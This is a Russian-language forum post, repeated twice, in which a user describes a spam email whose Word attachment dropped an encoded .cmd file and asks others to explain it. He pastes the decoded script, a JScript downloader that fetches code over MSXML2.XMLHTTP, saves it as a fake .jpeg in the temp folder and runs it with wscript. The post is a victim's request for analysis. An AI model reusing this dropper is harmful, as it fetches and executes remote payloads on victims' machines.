max200
11.11.2016, 07:07
День добрый, не знал куда запостить, нас тут спам аттаковал с письмами, а во вложении *.doc файл, в нем текст и картинка с "замыленным" текстом, в тексте якобы реквизиты, чтобы их посмотреть нужно два раза щелкнуть на эту картинку, я посмотрел внутрь этой картинки лежит в %temp% файл *.cmd в нем закодированный скрипт, я его раскодировал:
:: 58ML2.XML\x@ECHO offset eval=eval(u.ResponseText):: 58ML2.XML\xcmd.exe /c echo var _0x4b4b=['MSXML2.XMLHTTP','GET','тут некий сайт','open','send'];var u= new ActiveXObject(_0x4b4b[0]);u[_0x4b4b[3]](_0x4b4b[1],_0x4b4b[2],0);u[_0x4b4b[4]]();%eval% > "%TMP%\dyno.jpeg":: 2Fconfstart wscript //B //E:jscript "%TMP%\dyno.jpeg"
Хотелось бы чтобы кто-нибудь объяснил, что он выполняет
:: 58ML2.XML\x@ECHO offset eval=eval(u.ResponseText):: 58ML2.XML\xcmd.exe /c echo var _0x4b4b=['MSXML2.XMLHTTP','GET','тут некий сайт','open','send'];var u= new ActiveXObject(_0x4b4b[0]);u[_0x4b4b[3]](_0x4b4b[1],_0x4b4b[2],0);u[_0x4b4b[4]]();%eval% > "%TMP%\dyno.jpeg":: 2Fconfstart wscript //B //E:jscript "%TMP%\dyno.jpeg"
Хотелось бы чтобы кто-нибудь объяснил, что он выполняет